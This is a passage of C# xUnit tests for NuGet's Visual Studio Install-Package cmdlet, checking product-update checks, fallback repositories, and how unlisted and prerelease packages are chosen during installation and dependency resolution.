Mock<IVsCommonOperations>().Object, new Mock<IDeleteOnRestartManager>().Object, true); cmdlet.Id = "my-id"; cmdlet.Version = new SemanticVersion("2.8"); cmdlet.IgnoreDependencies = new SwitchParameter(true); cmdlet.Source = source; // Act cmdlet.Execute(); // Assert productUpdateService.Verify(p => p.CheckForAvailableUpdateAsync(), Times.Once()); } [Fact] public void InstallPackageCmdletInvokeProductUpdateCheckWhenSourceIsHttpAddressAndSourceNameIsSpecified() { // Arrange string source = "http://bing.com"; string sourceName = "bing"; var productUpdateService = new Mock<IProductUpdateService>(); var sourceRepository = new Mock<IPackageRepository>(); sourceRepository.Setup(p => p.Source).Returns(source); var vsPackageManager = new MockVsPackageManager(sourceRepository.Object); var packageManagerFactory = new Mock<IVsPackageManagerFactory>(); var packageRepositoryFactory = new Mock<IPackageRepositoryFactory>(); var sourceProvider = GetPackageSourceProvider(new PackageSource(source, sourceName)); packageRepositoryFactory.Setup(c => c.CreateRepository(source)).Returns(sourceRepository.Object); packageManagerFactory.Setup(m => m.CreatePackageManager(sourceRepository.Object, true)).Returns(vsPackageManager); var cmdlet = new InstallPackageCommand(TestUtils.GetSolutionManager(), packageManagerFactory.Object, packageRepositoryFactory.Object, sourceProvider, null, productUpdateService.Object, new Mock<IVsCommonOperations>().Object, new Mock<IDeleteOnRestartManager>().Object, true); cmdlet.Id = "my-id"; cmdlet.Version = new SemanticVersion("2.8"); cmdlet.IgnoreDependencies = new SwitchParameter(true); cmdlet.Source = sourceName; // Act cmdlet.Execute(); // Assert productUpdateService.Verify(p => p.CheckForAvailableUpdateAsync(), Times.Once()); } [Fact] public void InstallPackageCmdletDoNotInvokeProductUpdateCheckWhenSourceIsNotHttpAddress() { // Arrange string source = "ftp://bing.com"; var productUpdateService = new Mock<IProductUpdateService>(); var sourceRepository = new Mock<IPackageRepository>(); sourceRepository.Setup(p => p.Source).Returns(source); var vsPackageManager = new MockVsPackageManager(sourceRepository.Object); var packageManagerFactory = new Mock<IVsPackageManagerFactory>(); packageManagerFactory.Setup(m => m.CreatePackageManager(sourceRepository.Object, true)).Returns(vsPackageManager); var packageRepositoryFactory = new Mock<IPackageRepositoryFactory>(); var sourceProvider = GetPackageSourceProvider(new PackageSource(source)); packageRepositoryFactory.Setup(c => c.CreateRepository(source)).Returns(sourceRepository.Object); var cmdlet = new InstallPackageCommand(TestUtils.GetSolutionManager(), packageManagerFactory.Object, packageRepositoryFactory.Object, sourceProvider, null, productUpdateService.Object, new Mock<IVsCommonOperations>().Object, new Mock<IDeleteOnRestartManager>().Object, true); cmdlet.Id = "my-id"; cmdlet.Version = new SemanticVersion("2.8"); cmdlet.IgnoreDependencies = new SwitchParameter(true); cmdlet.Source = source; // Act cmdlet.Execute(); // Assert productUpdateService.Verify(p => p.CheckForAvailableUpdateAsync(), Times.Never()); } [Fact] public void InstallPackageCmdletDoNotInvokeProductUpdateCheckWhenSourceIsNotHttpAddressAndSourceNameIsSpecified() { // Arrange string source = "ftp://bing.com"; string sourceName = "BING"; var productUpdateService = new Mock<IProductUpdateService>(); var sourceRepository = new Mock<IPackageRepository>(); sourceRepository.Setup(p => p.Source).Returns(source); var vsPackageManager = new MockVsPackageManager(sourceRepository.Object); var packageManagerFactory = new Mock<IVsPackageManagerFactory>(); packageManagerFactory.Setup(m => m.CreatePackageManager(sourceRepository.Object, true)).Returns(vsPackageManager); var packageRepositoryFactory = new Mock<IPackageRepositoryFactory>(); var sourceProvider = GetPackageSourceProvider(new PackageSource(source, sourceName)); packageRepositoryFactory.Setup(c => c.CreateRepository(source)).Returns(sourceRepository.Object); var cmdlet = new InstallPackageCommand(TestUtils.GetSolutionManager(), packageManagerFactory.Object, packageRepositoryFactory.Object, sourceProvider, null, productUpdateService.Object, new Mock<IVsCommonOperations>().Object, new Mock<IDeleteOnRestartManager>().Object, true); cmdlet.Id = "my-id"; cmdlet.Version = new SemanticVersion("2.8"); cmdlet.IgnoreDependencies = new SwitchParameter(true); cmdlet.Source = sourceName; // Act cmdlet.Execute(); // Assert productUpdateService.Verify(p => p.CheckForAvailableUpdateAsync(), Times.Never()); } */ internal class TestVsPackageManagerFactory : VsPackageManagerFactory { public TestVsPackageManagerFactory( ISolutionManager solutionManager, IPackageRepositoryFactory repositoryFactory, IVsPackageSourceProvider packageSourceProvider, IFileSystemProvider fileSystemProvider, IRepositorySettings repositorySettings, VsPackageInstallerEvents packageEvents, IPackageRepository activePackageSourceRepository, IVsFrameworkMultiTargeting frameworkMultiTargeting, IMachineWideSettings machineWideSettings) : base(solutionManager, repositoryFactory, packageSourceProvider, fileSystemProvider, repositorySettings, packageEvents, activePackageSourceRepository, frameworkMultiTargeting, machineWideSettings) { } protected internal override IFileSystem GetConfigSettingsFileSystem(string configFolderPath) { return new MockFileSystem(configFolderPath); } } // !!! This test should be moved into VsPackageManagerFactory tests. [Fact] public void InstallPackageCmdletCreatesFallbackRepository() { // Arrange IPackageRepository repoA = new MockPackageRepository("A"); IPackageRepository repoB = new MockPackageRepository("B"); var repositoryFactory = new Mock<IPackageRepositoryFactory>(); repositoryFactory.Setup(c => c.CreateRepository("A")).Returns(repoA); repositoryFactory.Setup(c => c.CreateRepository("B")).Returns(repoB); var sourceProvider = GetPackageSourceProvider(new PackageSource("A"), new PackageSource("B")); var fileSystemProvider = new Mock<IFileSystemProvider>(); fileSystemProvider.Setup(c => c.GetFileSystem(It.IsAny<string>())).Returns(new MockFileSystem()); var repositorySettings = new Mock<IRepositorySettings>(); repositorySettings.Setup(c => c.RepositoryPath).Returns(@"c:\repositoryPath"); repositorySettings.Setup(c => c.ConfigFolderPath).Returns(@"c:\configFolder"); var solutionManager = new Mock<ISolutionManager>(); var vsPackageManagerFactory = new TestVsPackageManagerFactory( solutionManager.Object, repositoryFactory.Object, sourceProvider, fileSystemProvider.Object, repositorySettings.Object, new Mock<VsPackageInstallerEvents>().Object, repoA, // repoA is the active repository /* multiFrameworkTargeting */ null, /* machineWideSettings */ null); // Act var packageManager = vsPackageManagerFactory.CreatePackageManager(); // Assert: the source repo is a FallbackRepository, with source A as // primary and aggregate of sources A, B as dependency resolver repository. var sourceRepo = packageManager.SourceRepository as FallbackRepository; Assert.NotNull(sourceRepo); Assert.Equal("A", sourceRepo.SourceRepository.Source); var dependencyResolverRepo = sourceRepo.DependencyResolver as AggregateRepository; Assert.NotNull(dependencyResolverRepo); Assert.True(dependencyResolverRepo.ResolveDependenciesVertically); var repos = dependencyResolverRepo.Repositories.ToList(); Assert.Equal(2, repos.Count); Assert.Equal("A", repos[0].Source); Assert.Equal("B", repos[1].Source); } /* !!! [Fact] public void InstallPackageCmdletFallsbackToCacheWhenNetworkIsUnavailable() { // Arrange var packageManagerFactory = new Mock<IVsPackageManagerFactory>(); var repositoryFactory = new Mock<IPackageRepositoryFactory>(); var vsPackageManager = new MockVsPackageManager(); packageManagerFactory.Setup(m => m.CreatePackageManager()).Returns(vsPackageManager); var sourceVsPackageManager = new MockVsPackageManager(); packageManagerFactory.Setup(m => m.CreatePackageManager(It.IsAny<IPackageRepository>(), true)).Returns(sourceVsPackageManager); var userSettings = new Mock<ISettings>(); userSettings.Setup(s => s.GetSettingValues("packageSources", true)).Returns(new[] { new SettingValue("one", @"\\LetsHopeThisDirectory\IsNotAvaialble", false), }); userSettings.Setup(s => s.GetValues("activePackageSource")) .Returns(new[] { new KeyValuePair<string, string>("one", @"\\LetsHopeThisDirectory\IsNotAvaialble") }); var provider = new VsPackageSourceProvider(userSettings.Object, CreateDefaultSourceProvider(userSettings.Object), new Mock<IVsShellInfo>().Object); var activeSource = provider.ActivePackageSource; //Act var cmdlet = new InstallPackageCommand(TestUtils.GetSolutionManager(), packageManagerFactory.Object, repositoryFactory.Object, provider, null, null, new Mock<IVsCommonOperations>().Object, new Mock<IDeleteOnRestartManager>().Object, false); cmdlet.Id = "my-id"; cmdlet.Execute(); // Assert Assert.Equal(cmdlet.Source, NuGet.MachineCache.Default.Source); } [Fact] public void FallbackToCacheDoesntHappenWhenAggregateIsUsedAndLocalSourceIsAvailable() { // Arrange string localdrive = System.Environment.GetEnvironmentVariable("TEMP"); var userSettings = new Mock<ISettings>(); userSettings.Setup(s => s.GetSettingValues("packageSources", true)).Returns(new[] { new SettingValue("one", @"\\LetsHopeThisDirectory\IsNotAvaialble", false), new SettingValue("two", localdrive, false), new SettingValue("three", @"http://SomeHttpSource/NotAvailable", false), }); userSettings.Setup(s => s.GetValues("activePackageSource")) .Returns(new[] { new KeyValuePair<string, string>("All", @"(All)"), }); var provider = new VsPackageSourceProvider(userSettings.Object, CreateDefaultSourceProvider(userSettings.Object), new Mock<IVsShellInfo>().Object); var activeSource = provider.ActivePackageSource; var packageManagerFactory = new Mock<IVsPackageManagerFactory>(); var repositoryFactory = new Mock<IPackageRepositoryFactory>(); var vsPackageManager = new MockVsPackageManager(); packageManagerFactory.Setup(m => m.CreatePackageManager()).Returns(vsPackageManager); var sourceVsPackageManager = new MockVsPackageManager(); packageManagerFactory.Setup(m => m.CreatePackageManager(It.IsAny<IPackageRepository>(), true)).Returns(sourceVsPackageManager); //Act var cmdlet = new InstallPackageCommand(TestUtils.GetSolutionManager(), packageManagerFactory.Object, repositoryFactory.Object, provider, null, null, new Mock<IVsCommonOperations>().Object, new Mock<IDeleteOnRestartManager>().Object, false); cmdlet.Id = "my-id"; cmdlet.Execute(); // Assert Assert.NotEqual(cmdlet.Source, NuGet.MachineCache.Default.Source); } */ [Fact] public void InstallPackageCmdletDoesNotInstallPrereleasePackageIfFlagIsNotPresent() { // Arrange var packageA1 = PackageUtility.CreatePackage("A", "1.0.0-a"); var sharedRepository = new Mock<ISharedPackageRepository>(MockBehavior.Strict); sharedRepository.SetupSet(s => s.PackageSaveMode = PackageSaveModes.Nupkg); var packageRepository = new MockPackageRepository { packageA1 }; var packageManager = new VsPackageManager(TestUtils.GetSolutionManagerWithProjects("foo"), packageRepository, new Mock<IFileSystemProvider>().Object, new MockFileSystem(), sharedRepository.Object, new Mock<IDeleteOnRestartManager>().Object, null); var packageManagerFactory = new Mock<IVsPackageManagerFactory>(MockBehavior.Strict); packageManagerFactory.Setup(m => m.CreatePackageManager()).Returns(packageManager); // Act var cmdlet = new InstallPackageCommand(TestUtils.GetSolutionManager(), packageManagerFactory.Object, null, null, null, null, new Mock<IVsCommonOperations>().Object, new Mock<IDeleteOnRestartManager>().Object, true); cmdlet.Id = "A"; // Assert ExceptionAssert.Throws<InvalidOperationException>(() => cmdlet.Execute(), "Unable to find package 'A'."); } [Fact] public void InstallPackageCmdletInstallPrereleasePackageIfFlagIsPresent() { // Arrange var packageA = PackageUtility.CreatePackage("A", "1.0.0-a"); var packageRepository = new MockPackageRepository { packageA }; var packageManager = new MockVsPackageManager2( @"c:\solution", packageRepository); var packageManagerFactory = new Mock<IVsPackageManagerFactory>(MockBehavior.Strict); packageManagerFactory.Setup(m => m.CreatePackageManager()).Returns(packageManager); // packageA is not installed yet. Assert.False(packageManager.LocalRepository.IsSolutionReferenced(packageA.Id, packageA.Version)); // Act var cmdlet = new InstallPackageCommand(packageManager.SolutionManager, packageManagerFactory.Object, null, new Mock<IVsPackageSourceProvider>().Object, new Mock<IHttpClientEvents>().Object, null, new Mock<IVsCommonOperations>().Object, new Mock<IDeleteOnRestartManager>().Object, true); cmdlet.Id = "A"; cmdlet.IncludePrerelease = true; cmdlet.Execute(); // Assert: packageA is installed. var installedPackages = packageManager.LocalRepository.GetPackages().ToList(); Assert.Equal(1, installedPackages.Count); Assert.Equal(packageA, installedPackages[0], PackageEqualityComparer.IdAndVersion); } [Fact] public void InstallPackageWithoutSettingVersionDoNotInstallUnlistedPackage() { // Arrange var packageA1 = PackageUtility.CreatePackage("A", "1.0.0"); var packageA2 = PackageUtility.CreatePackage("A", "2.0.0", listed: false); var packageRepository = new MockPackageRepository { packageA1, packageA2 }; var packageManager = new MockVsPackageManager2( @"c:\solution", packageRepository); var packageManagerFactory = new Mock<IVsPackageManagerFactory>(MockBehavior.Strict); packageManagerFactory.Setup(m => m.CreatePackageManager()).Returns(packageManager); // Act var cmdlet = new InstallPackageCommand(packageManager.SolutionManager, packageManagerFactory.Object, null, new Mock<IVsPackageSourceProvider>().Object, new Mock<IHttpClientEvents>().Object, null, new Mock<IVsCommonOperations>().Object, new Mock<IDeleteOnRestartManager>().Object, true); cmdlet.Id = "A"; cmdlet.Execute(); // Assert: packageA1 is installed. var installedPackages = packageManager.LocalRepository.GetPackages().ToList(); Assert.Equal(1, installedPackages.Count); Assert.Equal(packageA1, installedPackages[0], PackageEqualityComparer.IdAndVersion); } [Fact] public void InstallPackageWithoutSettingVersionDoNotInstallUnlistedPackageWithPrerelease() { // Arrange var packageA1 = PackageUtility.CreatePackage("A", "1.0.0"); var packageA2 = PackageUtility.CreatePackage("A", "1.0.1-alpha", listed: false); var packageRepository = new MockPackageRepository { packageA1, packageA2 }; var packageManager = new MockVsPackageManager2( @"c:\solution", packageRepository); var packageManagerFactory = new Mock<IVsPackageManagerFactory>(MockBehavior.Strict); packageManagerFactory.Setup(m => m.CreatePackageManager()).Returns(packageManager); var fileOperations = new Mock<IVsCommonOperations>(); // Act var cmdlet = new InstallPackageCommand(packageManager.SolutionManager, packageManagerFactory.Object, null, new Mock<IVsPackageSourceProvider>().Object, new Mock<IHttpClientEvents>().Object, null, new Mock<IVsCommonOperations>().Object, new Mock<IDeleteOnRestartManager>().Object, true); cmdlet.Id = "A"; cmdlet.IncludePrerelease = true; cmdlet.Execute(); // Assert: packageA1 is installed. var installedPackages = packageManager.LocalRepository.GetPackages().ToList(); Assert.Equal(1, installedPackages.Count); Assert.Equal(packageA1, installedPackages[0], PackageEqualityComparer.IdAndVersion); } [Fact] public void InstallPackageInstallUnlistedPackageIfVersionIsSet() { // Arrange var packageA1 = PackageUtility.CreatePackage("A", "1.0.0"); var packageA2 = PackageUtility.CreatePackage("A", "2.0.0", listed: false); var packageRepository = new MockPackageRepository { packageA1, packageA2 }; var packageManager = new MockVsPackageManager2( @"c:\solution", packageRepository); var packageManagerFactory = new Mock<IVsPackageManagerFactory>(MockBehavior.Strict); packageManagerFactory.Setup(m => m.CreatePackageManager()).Returns(packageManager); // Act var cmdlet = new InstallPackageCommand(packageManager.SolutionManager, packageManagerFactory.Object, null, new Mock<IVsPackageSourceProvider>().Object, new Mock<IHttpClientEvents>().Object, null, new Mock<IVsCommonOperations>().Object, new Mock<IDeleteOnRestartManager>().Object, true); cmdlet.Id = "A"; cmdlet.Version = new SemanticVersion("2.0.0"); cmdlet.Execute(); // Assert: the unlisted packageA2 is installed. var installedPackages = packageManager.LocalRepository.GetPackages().ToList(); Assert.Equal(1, installedPackages.Count); Assert.Equal(packageA2, installedPackages[0], PackageEqualityComparer.IdAndVersion); } [Fact] public void InstallPackageInstallUnlistedPrereleasePackageIfVersionIsSet() { // Arrange var packageA1 = PackageUtility.CreatePackage("A", "1.0.0"); var packageA2 = PackageUtility.CreatePackage("A", "1.0.0-ReleaseCandidate", listed: false); var packageRepository = new MockPackageRepository { packageA1, packageA2 }; var packageManager = new MockVsPackageManager2( @"c:\solution", packageRepository); var packageManagerFactory = new Mock<IVsPackageManagerFactory>(MockBehavior.Strict); packageManagerFactory.Setup(m => m.CreatePackageManager()).Returns(packageManager); // Act var cmdlet = new InstallPackageCommand(packageManager.SolutionManager, packageManagerFactory.Object, null, new Mock<IVsPackageSourceProvider>().Object, new Mock<IHttpClientEvents>().Object, null, new Mock<IVsCommonOperations>().Object, new Mock<IDeleteOnRestartManager>().Object, true); cmdlet.Id = "A"; cmdlet.Version = new SemanticVersion("1.0.0-ReleaseCandidate"); cmdlet.IncludePrerelease = true; cmdlet.Execute(); // Assert: the unlisted prerelease packageA2 is installed. var installedPackages = packageManager.LocalRepository.GetPackages().ToList(); Assert.Equal(1, installedPackages.Count); Assert.Equal(packageA2, installedPackages[0], PackageEqualityComparer.IdAndVersion); } [Fact] public void InstallPackageInstallUnlistedPackageAsADependency() { // Arrange var packageA = PackageUtility.CreatePackage("A", "1.0.0", dependencies: new [] { new PackageDependency("B") }); var packageB = PackageUtility.CreatePackage("B", "1.0.0", listed: false); var packageRepository = new MockPackageRepository { packageA, packageB }; var packageManager = new MockVsPackageManager2( @"c:\solution", packageRepository); var packageManagerFactory = new Mock<IVsPackageManagerFactory>(MockBehavior.Strict); packageManagerFactory.Setup(m => m.CreatePackageManager()).Returns(packageManager); var fileOperations = new Mock<IVsCommonOperations>(); // Act var cmdlet = new InstallPackageCommand(packageManager.SolutionManager, packageManagerFactory.Object, null, new Mock<IVsPackageSourceProvider>().Object, new Mock<IHttpClientEvents>().Object, null, new Mock<IVsCommonOperations>().Object, new Mock<IDeleteOnRestartManager>().Object, true); cmdlet.Id = "A"; cmdlet.Execute(); // Assert var installedPackages = packageManager.LocalRepository.GetPackages().OrderBy(p => p.Id).ToList(); Assert.Equal(2, installedPackages.Count); Assert.Equal(packageA, installedPackages[0], PackageEqualityComparer.IdAndVersion); Assert.Equal(packageB, installedPackages[1], PackageEqualityComparer.IdAndVersion); } [Theory] [InlineData("1.0.0", "1.0.0-gamma")] [InlineData("1.0.0-beta", "2.0.0")] public void InstallPackageInstallUnlistedPrereleasePackageAsADependency(string versionA, string versionB) { // Arrange var packageA = PackageUtility.CreatePackage("A", versionA, dependencies: new[] { new PackageDependency("B") }); var packageB = PackageUtility.CreatePackage("B", versionB, listed: false); var packageRepository = new MockPackageRepository { packageA, packageB }; var packageManager = new MockVsPackageManager2( @"c:\solution", packageRepository); var packageManagerFactory = new Mock<IVsPackageManagerFactory>(MockBehavior.Strict); packageManagerFactory.Setup(m => m.CreatePackageManager()).Returns(packageManager); // Act var cmdlet = new InstallPackageCommand(packageManager.SolutionManager, packageManagerFactory.Object, null, new Mock<IVsPackageSourceProvider>().Object, new Mock<IHttpClientEvents>().Object, null, new Mock<IVsCommonOperations>().Object, new Mock<IDeleteOnRestartManager>().Object, true); cmdlet.Id = "A"; cmdlet.IncludePrerelease = true; cmdlet.Execute(); // Assert var installedPackages = packageManager.LocalRepository.GetPackages().ToList(); Assert.Equal(2, installedPackages.Count); Assert.Equal(packageA, installedPackages[0], PackageEqualityComparer.IdAndVersion); Assert.Equal(packageB, installedPackages[1], PackageEqualityComparer.IdAndVersion); } //Unit test for https://nuget.codeplex.com/workitem/3844 [Fact] public void InstallPackageIgnoresFailingRepositoriesWhenInstallingPackageWithOrWithoutDependencies() { // Arrange var packageA = PackageUtility.CreatePackage("A", "1.0", dependencies: new[] { new PackageDependency("B") }); var packageB = PackageUtility.CreatePackage("B", "1.0.0", listed: true); var packageC = PackageUtility.CreatePackage("C", "2.0.0"); var mockRepository = new Mock<IPackageRepository>(); mockRepository.Setup(c => c.GetPackages()).Returns(GetPackagesWithException().AsQueryable()).Verifiable(); var packageRepository = new AggregateRepository(new[] { new MockPackageRepository { packageA }, mockRepository.Object, new MockPackageRepository { packageB }, new MockPackageRepository { packageC }, }); var packageManager = new MockVsPackageManager2( @"c:\solution", packageRepository); var packageManagerFactory = new Mock<IVsPackageManagerFactory>(MockBehavior.Strict); packageManagerFactory.Setup(m => m.CreatePackageManager()).Returns(packageManager); // Act var cmdlet = new InstallPackageCommand(packageManager.SolutionManager, packageManagerFactory.Object, null, new Mock<IVsPackageSourceProvider>().Object, new Mock<IHttpClientEvents>().Object, null, new Mock<IVsCommonOperations>().Object, new Mock<IDeleteOnRestartManager>().Object, true); cmdlet.Id = "A"; cmdlet.Execute(); cmdlet.Id = "C"; cmdlet.Execute(); // Assert var installedPackages = packageManager.LocalRepository.GetPackages().ToList(); Assert.Equal(3, installedPackages.Count); Assert.Equal(packageA, installedPackages[0], PackageEqualityComparer.IdAndVersion); Assert.Equal(packageB, installedPackages[1], PackageEqualityComparer.IdAndVersion); Assert.Equal(packageC, installedPackages[2], PackageEqualityComparer.IdAndVersion); mockRepository.Verify(); } [Fact] public void InstallPackageShouldPickListedPackagesOverUnlistedOnesAsDependency() { // Arrange var packageA = PackageUtility.CreatePackage("A", "1.0", dependencies: new[] { new PackageDependency("B", new VersionSpec { MinVersion = new SemanticVersion("0.5")})}); var packageB1 = PackageUtility.CreatePackage("B", "1.0.0", listed: true); var packageB2 = PackageUtility.CreatePackage("B", "1.0.2", listed: false); var packageRepository = new MockPackageRepository { packageA, packageB1, packageB2 }; var packageManager = new MockVsPackageManager2( @"c:\solution", packageRepository); var packageManagerFactory = new Mock<IVsPackageManagerFactory>(MockBehavior.Strict); packageManagerFactory.Setup(m => m.CreatePackageManager()).Returns(packageManager); // Act var cmdlet = new InstallPackageCommand(packageManager.SolutionManager, packageManagerFactory.Object, null, new Mock<IVsPackageSourceProvider>().Object, new Mock<IHttpClientEvents>().Object, null, new Mock<IVsCommonOperations>().Object, new Mock<IDeleteOnRestartManager>().Object, true); cmdlet.Id = "A"; cmdlet.Execute(); // Assert: packageA and packageB1 are installed. packageB1 is picked because // packageB2 is unlisted. var installedPackages = packageManager.LocalRepository.GetPackages().ToList(); Assert.Equal(2, installedPackages.Count); Assert.Equal(packageA, installedPackages[0], PackageEqualityComparer.IdAndVersion); Assert.Equal(packageB1, installedPackages[1], PackageEqualityComparer.IdAndVersion); } [Fact] public void InstallPackageShouldPickListedPackagesOverUnlistedOnesAsDependency2() { // Arrange var packageA = PackageUtility.CreatePackage("A", "1.0", dependencies: new[] { new PackageDependency("B", new VersionSpec { MinVersion = new SemanticVersion("0.5") }) }); var packageB1 = PackageUtility.CreatePackage("B", "1.0.0", listed: true); var packageB2 = PackageUtility.CreatePackage("B", "1.0.2-alpha", listed: true); var packageB3 = PackageUtility.CreatePackage("B", "1.0.2", listed: false); var packageRepository = new MockPackageRepository { packageA, packageB1, packageB2, packageB3 }; var packageManager = new MockVsPackageManager2( @"c:\solution", packageRepository); var packageManagerFactory = new Mock<IVsPackageManagerFactory>(MockBehavior.Strict); packageManagerFactory.Setup(m => m.CreatePackageManager()).Returns(packageManager); // Act var cmdlet = new InstallPackageCommand(packageManager.SolutionManager, packageManagerFactory.Object, null, new Mock<IVsPackageSourceProvider>().Object, new Mock<IHttpClientEvents>().Object, null, new Mock<IVsCommonOperations>().Object, new Mock<IDeleteOnRestartManager>().Object, true); cmdlet.Id = "A"; cmdlet.IncludePrerelease = true; cmdlet.DependencyVersion = DependencyVersion.HighestPatch; cmdlet.Execute(); // Assert: packageA and packageB2 are installed. // packageB1 is not picked because packageB2's version is later. // packageB3 is not picked because it's unlisted. var installedPackages = packageManager.LocalRepository.GetPackages().ToList(); Assert.Equal(2, installedPackages.Count); Assert.Equal(packageA, installedPackages[0], PackageEqualityComparer.IdAndVersion); Assert.Equal(packageB2, installedPackages[1], PackageEqualityComparer.IdAndVersion); } [Fact] public void InstallPackageShouldPickUnListedPackagesIfItSatisfiesContrainsAndOthersAreNot() { // Arrange var packageA = PackageUtility.CreatePackage("A", "1.0", dependencies: new[] { new PackageDependency("B", new VersionSpec { MinVersion = new SemanticVersion("1.0"), IsMinInclusive = true }) }); var packageB1 = PackageUtility.CreatePackage("B", "0.0.9", listed: true); var packageB2 = PackageUtility.CreatePackage("B", "1.0.0", listed: false); var packageRepository = new MockPackageRepository { packageA, packageB1, packageB2 }; var packageManager = new MockVsPackageManager2( @"c:\solution", packageRepository); var packageManagerFactory = new Mock<IVsPackageManagerFactory>(MockBehavior.Strict); packageManagerFactory.Setup(m => m.CreatePackageManager()).Returns(packageManager); // Act var cmdlet = new InstallPackageCommand(packageManager.SolutionManager, packageManagerFactory.Object, null, new Mock<IVsPackageSourceProvider>().Object, new Mock<IHttpClientEvents>().Object, null, new Mock<IVsCommonOperations>().Object, new Mock<IDeleteOnRestartManager>().Object, true); cmdlet.Id = "A"; cmdlet.Execute(); // Assert: packageA and packageB2 are installed. // packageB1 is not picked because it cannot be used as a dependency of packageA. var installedPackages = packageManager.LocalRepository.GetPackages().ToList(); Assert.Equal(2, installedPackages.Count); Assert.Equal(packageA, installedPackages[0], PackageEqualityComparer.IdAndVersion); Assert.Equal(packageB2, installedPackages[1], PackageEqualityComparer.IdAndVersion); } [Fact] public void InstallPackageShouldPickUnListedPrereleasePackagesIfItSatisfiesContrainsAndOthersAreNot() { // Arrange var packageA = PackageUtility.CreatePackage("A", "1.0", dependencies: new[] { new PackageDependency("B", new VersionSpec { MinVersion = new SemanticVersion("1.0"), IsMinInclusive = true }) }); var packageB1 = PackageUtility.CreatePackage("B", "0.0.9", listed: true); var packageB2 = PackageUtility.CreatePackage("B", "1.0.1-a", listed: false); var packageRepository = new MockPackageRepository { packageA, packageB1, packageB2 }; var packageManager = new MockVsPackageManager2( @"c:\solution", packageRepository); var packageManagerFactory = new Mock<IVsPackageManagerFactory>(MockBehavior.Strict); packageManagerFactory.Setup(m => m.CreatePackageManager()).Returns(packageManager); // Act var cmdlet = new InstallPackageCommand(packageManager.SolutionManager, packageManagerFactory.Object, null, new Mock<IVsPackageSourceProvider>().Object, new Mock<IHttpClientEvents>().Object, null, new Mock<IVsCommonOperations>().Object, new Mock<IDeleteOnRestartManager>().Object, true); cmdlet.Id = "A"; cmdlet.IncludePrerelease = true; cmdlet.Execute(); // Assert: packageA and packageB2 are installed. // packageB1 is not picked because it cannot be used as a dependency of packageA var installedPackages = packageManager.LocalRepository.GetPackages().ToList(); Assert.Equal(2, installedPackages.Count); Assert.Equal(packageA, installedPackages[0], PackageEqualityComparer.IdAndVersion); Assert.Equal(packageB2, installedPackages[1], PackageEqualityComparer.IdAndVersion); } [Fact] public void InstallPackageCmdletOpenReadmeFileFromPackageIfItIsPresent() { // Arrange var packageA = new Mock<IPackage>(); packageA.Setup(p => p.Id).Returns("A"); packageA.Setup(p => p.Version).Returns(new SemanticVersion("1.0")); packageA.Setup(p => p.Listed).Returns(true); var readme = new Mock<IPackageFile>(); readme.Setup(f => f.Path).Returns("readMe.txt"); readme.Setup(f => f.GetStream()).Returns(new MemoryStream()); packageA.Setup(p => p.GetFiles()).Returns(new IPackageFile[] { readme.Object }); packageA.Setup(p => p.GetStream()).Returns(new MemoryStream()); var packageRepository = new MockPackageRepository { packageA.Object }; var packageManager = new MockVsPackageManager2( @"c:\solution", packageRepository); var packageManagerFactory = new Mock<IVsPackageManagerFactory>(MockBehavior.Strict); packageManagerFactory.Setup(m => m.CreatePackageManager()).Returns(packageManager); var fileOperations = new Mock<IVsCommonOperations>(); // Act var cmdlet = new InstallPackageCommand( packageManager.SolutionManager, packageManagerFactory.Object, null, new Mock<IVsPackageSourceProvider>().Object, new Mock<IHttpClientEvents>().Object, null, fileOperations.Object, new Mock<IDeleteOnRestartManager>().Object, true); cmdlet.Id = "A"; cmdlet.Execute(); // Assert fileOperations.Verify(io => io.OpenFile(It.Is<string>(s => s.EndsWith("A.1.0\\readme.txt", StringComparison.OrdinalIgnoreCase))), Times.Once()); } [Fact] public void InstallPackageCmdletOnlyOpenReadmeFileFromTheRootPackage() { // Arrange // A --> B var packageA = new Mock<IPackage>(); packageA.Setup(p => p.Id).Returns("A"); packageA.Setup(p => p.Version).Returns(new SemanticVersion("1.0")); var depSet = new PackageDependencySet(null, new[] { new PackageDependency("B") }); packageA.Setup(p => p.DependencySets).Returns(new[] { depSet }); packageA.Setup(p => p.Listed).Returns(true); var readme = new Mock<IPackageFile>(); readme.Setup(f => f.Path).Returns("readMe.txt"); readme.Setup(f => f.GetStream()).Returns(new MemoryStream()); packageA.Setup(p => p.GetFiles()).Returns(new IPackageFile[] { readme.Object }); packageA.Setup(p => p.GetStream()).Returns(new MemoryStream()); var packageB = new Mock<IPackage>(); packageB.Setup(p => p.Id).Returns("B"); packageB.Setup(p => p.Version).Returns(new SemanticVersion("1.0")); var readmeB = new Mock<IPackageFile>(); readmeB.Setup(f => f.Path).Returns("readMe.txt"); readmeB.Setup(f => f.GetStream()).Returns(new MemoryStream()); packageB.Setup(p => p.GetFiles()).Returns(new IPackageFile[] { readmeB.Object }); packageB.Setup(p => p.GetStream()).Returns(new MemoryStream()); var packageRepository = new MockPackageRepository { packageA.Object, packageB.Object }; var packageManager = new MockVsPackageManager2( @"c:\solution", packageRepository); var packageManagerFactory = new Mock<IVsPackageManagerFactory>(MockBehavior.Strict); packageManagerFactory.Setup(m => m.CreatePackageManager()).Returns(packageManager); var fileOperations = new Mock<IVsCommonOperations>(); // Act var cmdlet = new InstallPackageCommand( packageManager.SolutionManager, packageManagerFactory.Object, null, new Mock<IVsPackageSourceProvider>().Object, new Mock<IHttpClientEvents>().Object, null, fileOperations.Object, new Mock<IDeleteOnRestartManager>().Object, true); cmdlet.Id = "A"; cmdlet.Execute(); // Assert fileOperations.Verify(io => io.OpenFile(It.Is<string>(s => s.EndsWith("A.1.0\\readme.txt", StringComparison.OrdinalIgnoreCase))), Times.Once()); fileOperations.Verify(io => io.OpenFile(It.Is<string>(s => s.EndsWith("B.1.0\\readme.txt", StringComparison.OrdinalIgnoreCase))), Times.Never()); } private static IVsPackageSourceProvider GetPackageSourceProvider(params PackageSource[] sources) { var sourceProvider = new Mock<IVsPackageSourceProvider>(); sourceProvider.Setup(c => c.LoadPackageSources()).Returns(sources); return sourceProvider.Object; } private static IEnumerable<IPackage> GetPackagesWithException() { yield return PackageUtility.CreatePackage("A"); throw new InvalidOperationException(); } } }
